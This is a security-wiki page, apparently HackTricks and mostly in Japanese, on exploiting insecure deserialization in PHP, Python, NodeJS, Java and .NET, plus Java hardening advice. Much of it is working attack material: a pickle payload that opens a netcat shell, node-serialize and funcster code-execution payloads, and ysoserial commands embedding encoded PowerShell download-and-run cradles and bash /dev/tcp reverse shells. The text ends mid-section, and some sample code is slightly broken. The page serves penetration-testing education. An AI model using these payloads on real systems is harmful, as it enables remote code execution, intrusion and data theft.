Deserialization

Support HackTricks

Basic Information

シリアライズは、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。

デシリアライズは、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。

デシリアライズは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行したり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。

PHP

PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:

  • __sleep: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。

  • __wakeup: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。

  • __unserialize: オブジェクトがデシリアライズされるときに、__wakeupの代わりに呼び出されるメソッドです。__wakeupに比べてデシリアライズプロセスに対するより多くの制御を提供します。

  • __destruct: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。

  • __toString: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

オブジェクトがデシリアライズされるときに、関数 __wakeup__destruct が呼び出されることが結果からわかります。いくつかのチュートリアルでは、属性を印刷しようとすると __toString 関数が呼び出されるとされていますが、どうやらそれは もう起こっていない ようです。

クラスに実装されている場合、メソッド __unserialize(array $data)__wakeup() の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

説明されたPHPの例をこちらで読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHPのオートロード機能を悪用して、任意のphpファイルを読み込むことができます:

PHP - Deserialization + Autoload Classes

参照値のシリアライズ

何らかの理由で、別のシリアライズされた値への参照として値をシリアライズしたい場合は、次のようにできます:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。 アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、外部 PHP 拡張のコードを悪用できるかもしれません。 ですので、可能であれば、サーバーの phpinfo() を確認し、インターネットで検索(さらには PHPGGCgadgets でも)して、悪用できる可能性のあるガジェットを探してください。

phar:// メタデータデシリアライズ

ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()** のような関数を使用している場合、phar プロトコルを使用して ファイル読み取る ときに発生する デシリアライズ を悪用しようとすることができます。 詳細については、以下の投稿をお読みください:

phar:// deserialization

Python

Pickle

オブジェクトがアンピクルされると、関数 __reduce__ が実行されます。 悪用されると、サーバーはエラーを返す可能性があります。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

次のページでは、yamlの安全でないデシリアライズを悪用する技術を紹介し、Pickle、PyYAML、jsonpickle、ruamel.yamlのためのRCEデシリアライズペイロードを生成するために使用できるツールで終わります:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS には、オブジェクトを作成するためだけに実行される「マジック」関数はありません。しかし、toStringvalueOftoJSONのように、直接呼び出さなくても頻繁に使用される関数があります。 デシリアライズを悪用する場合、これらの関数を妥協して他のコードを実行することができれば、呼び出されたときに任意のコードを実行できます。

関数を直接呼び出さずに**「マジック」な方法で関数を呼び出すもう一つの方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されるオブジェクト関数型の「then」というプロパティを持つ別のプロミス変換すると、別のプロミスによって返されるだけで実行される**からです。 詳細については このリンク を参照してください。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype の汚染

この技術について学びたい場合は、次のチュートリアルを見てください:

NodeJS - __proto__ & prototype Pollution

このライブラリは関数をシリアライズすることを可能にします。例:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like: シリアライズされたオブジェクトは次のようになります:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

しかし、関数をシリアライズするだけではそれを実行することはできません。なぜなら、コードの一部が**y.rceを呼び出す必要があるからで、これは非常にありそうにありません**。 とにかく、シリアライズされたオブジェクトを修正していくつかの括弧を追加することで、オブジェクトがデシリアライズされたときにシリアライズされた関数を自動的に実行させることができます。 次のコードのチャンクでは、最後の括弧unserialize関数がどのように自動的にコードを実行するかに注意してください:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

以前に示したように、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、evalを使用して実行します。したがって、コードを自動実行するには、関数作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行することができます:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

ここで詳細情報を見つけることができます この脆弱性を悪用する方法について

funcsterの注目すべき点は、標準の組み込みオブジェクトへのアクセスが不可能であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、console.log()require(something)のようなコマンドを使用すると、"ReferenceError: console is not defined"のような例外が発生します。

この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

詳細については、このソースを読んでください.**

serialize-javascriptパッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、evalの直接使用が推奨されています:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

この関数がオブジェクトをデシリアライズするために使用される場合、あなたは簡単にそれを悪用できます

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳細についてはこのソースを読んでください more information read this source.

Cryoライブラリ

以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:

Java - HTTP

Javaでは、デシリアライズコールバックはデシリアライズのプロセス中に実行されます。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。

フィンガープリント

ホワイトボックス

コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを探します:

  • Serializableインターフェースを実装しているクラス。

  • java.io.ObjectInputStreamreadObjectreadUnshared関数の使用。

特に注意を払うべき点:

  • 外部ユーザーによって定義されたパラメータで使用されるXMLDecoder

  • XStreamfromXMLメソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。

  • readObjectメソッドと組み合わされたObjectInputStream

  • readObjectreadObjectNodDatareadResolve、またはreadExternalなどのメソッドの実装。

  • ObjectInputStream.readUnshared

  • Serializableの一般的な使用。

ブラックボックス

ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します(ObjectInputStreamから発生):

  • 16進パターン:AC ED 00 05

  • Base64パターン:rO0

  • Content-typeapplication/x-java-serialized-objectに設定されたHTTPレスポンスヘッダー。

  • 以前の圧縮を示す16進パターン:1F 8B 08 00

  • 以前の圧縮を示すBase64パターン:H4sIA

  • .faces拡張子を持つWebファイルとfaces.ViewStateパラメータ。これらのパターンをWebアプリケーションで発見した場合、Java JSF ViewState Deserializationに関する投稿に詳述されているように調査を促すべきです。

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆弱性の確認

Javaのデシリアライズ攻撃がどのように機能するかを学びたい場合は、Basic Java DeserializationJava DNS Deserialization、およびCommonsCollection1 Payloadを確認してください。

ホワイトボックステスト

既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

あなたは、脆弱性が知られているすべてのライブラリを確認し、Ysoserialがエクスプロイトを提供できるかどうかを試すことができます。または、Java-Deserialization-Cheat-Sheetに示されているライブラリを確認することもできます。 gadgetinspectorを使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。 gadgetinspectorを実行する際(ビルド後)は、発生する大量の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください

ブラックボックステスト

Burp拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(バージョンも含む)を特定できます。この情報を使用すると、脆弱性をエクスプロイトするためのペイロードを選択しやすくなる可能性があります。 GadgetProbeについて詳しく学ぶにはこちらをお読みください GadgetProbeは**ObjectInputStreamのデシリアライズ**に焦点を当てています。

Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialでエクスプロイト可能な脆弱なライブラリを特定し、エクスプロイトできます。 Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。 Java Deserialization Scannerは**ObjectInputStream**のデシリアライズに焦点を当てています。

Freddyを使用して、Burp内のデシリアライズの脆弱性を検出することもできます。このプラグインは、ObjectInputStreamに関連する脆弱性だけでなく、JsonおよびYmlデシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。 Freddyについての詳細情報はこちらで確認できます。

シリアライズテスト

サーバーによって使用されている脆弱なライブラリを確認することだけが全てではありません。時には、シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスすることができるかもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。 ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**SerializationDumper**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータがわかれば、それを変更していくつかのチェックをバイパスするのが容易になります。

エクスプロイト

ysoserial

Javaデシリアライズをエクスプロイトするための主なツールはysoserialです(こちらからダウンロード)。また、複雑なコマンド(例えばパイプを使用)を使用できるysoseral-modifiedの使用も検討できます。 このツールは**ObjectInputStreamのエクスプロイトに焦点を当てていることに注意してください。 私はRCEペイロードの前に「URLDNS」ペイロードを使用し始める**ことをお勧めします。注目すべきは、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることです。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.

次のスクリプトを使用して、WindowsとLinuxのすべての可能なコード実行ペイロードを作成し、脆弱なウェブページでテストしてください:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

あなたは use https://github.com/pwntester/SerialKillerBypassGadgetCollection とysoserialを組み合わせて、より多くのエクスプロイトを作成することができます。このツールに関する詳細は、ツールが発表されたトークのスライドにあります: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、Javaの異なるJsonおよびYmlシリアル化ライブラリをエクスプロイトするためのペイロードを生成するために使用できます。 プロジェクトをコンパイルするために、私はpom.xmlにこのdependenciesaddする必要がありました:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Mavenをインストールし、プロジェクトをコンパイルします:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJava JSONライブラリについての詳細は、こちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Javaは、さまざまな目的で多くのシリアル化を使用します:

  • HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。

  • RMI (リモートメソッド呼び出し): Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。

  • HTTP経由のRMI: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。

  • JMX (Java管理拡張): JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。

  • カスタムプロトコル: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。

Prevention

Transient objects

Serializableを実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトをtransientとして実装できます。例えば:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializableを実装する必要があるクラスのシリアル化を避ける

特定の**オブジェクトがクラス階層のためにSerializable**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローするfinalreadObject()メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Javaにおけるデシリアライズセキュリティの強化

java.io.ObjectInputStreamのカスタマイズは、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています。

  • デシリアライズコードがあなたの管理下にある。

  • デシリアライズのために期待されるクラスが知られている。

**resolveClass()**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例のように、デシリアライズをBicycleクラスのみに制限します:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

セキュリティ強化のためのJavaエージェントの使用は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に有害なクラスのブラックリスト化に適用され、JVMパラメータを使用します:

-javaagent:name-of-agent.jar

動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に理想的です。

rO0 by Contrast Securityの例を確認してください。

シリアライゼーションフィルターの実装: Java 9は**ObjectInputFilter**インターフェースを介してシリアライゼーションフィルターを導入し、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。

シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

外部ライブラリを活用したセキュリティの強化: NotSoSerialjdeserialize、およびKryoなどのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、デシリアライズ前にシリアライズされたオブジェクトを分析したり、クラスのホワイトリストやブラックリストを作成したり、カスタムシリアライズ戦略を実装したりするなど、追加のセキュリティ層を提供できます。

  • NotSoSerialは、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。

  • jdeserializeは、デシリアライズせずにシリアライズされたJavaオブジェクトを分析でき、潜在的に悪意のあるコンテンツを特定するのに役立ちます。

  • Kryoは、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。

参考文献

JNDIインジェクション & log4Shell

JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)については、以下のページを参照してください。

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Javaメッセージサービス

JavaメッセージサービスJMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く、非同期にします。(出典: Wikipedia

製品

このミドルウェアを使用してメッセージを送信する製品はいくつかあります。

悪用

基本的に、危険な方法でJMSを使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限がある場合(通常は有効な資格情報が必要)、消費者/サブスクライバーによってデシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります。 これは、この悪用において、そのメッセージを使用するすべてのクライアントが感染することを意味します。

サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するための有効なガジェットを見つける必要があることを忘れないでください。

ツールJMETは、既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。

参考文献

.Net

.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。

フィンガープリンティング

ホワイトボックス

ソースコードを検査して、以下の出現を探すべきです:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。

ブラックボックス

検索は、Base64エンコードされた文字列AAEAAAD/////または、サーバー側でデシリアライズされる可能性のある類似のパターンを対象とし、デシリアライズされる型を制御できるようにします。これには、TypeObject$typeを含むがこれに限定されないJSONまたはXML構造が含まれる可能性があります。

ysoserial.net

この場合、ツールysoserial.netを使用してデシリアライズの悪用を作成できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用してツールをコンパイルする必要があります。

ysoserial.netがどのように悪用を作成するかについて学びたい場合は、ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください

ysoserial.netの主なオプションは、--gadget--formatter--output、および**--plugin**です。

  • **--gadget**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。

  • **--formatter**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。

  • --outputは、悪用を生またはbase64エンコードで取得したいかどうかを示すために使用されます。注意してください、ysoserial.netはペイロードをUTF-16LE(Windowsでデフォルトで使用されるエンコーディング)を使用してエンコードするため、Linuxコンソールから生のペイロードをエンコードすると、悪用が正しく機能しないエンコーディングの互換性の問題が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。

  • --pluginysoserial.netは、ViewStateのような特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています。

追加のysoserial.netパラメータ

  • --minifyは、小さなペイロードを提供します(可能な場合)。

  • --raf -f Json.Net -c "anything"これは、提供されたフォーマッタ(この場合はJson.Net)で使用できるすべてのガジェットを示します。

  • --sf xmlは、ガジェット-g)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。

ysoserialの例を使用して悪用を作成します:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
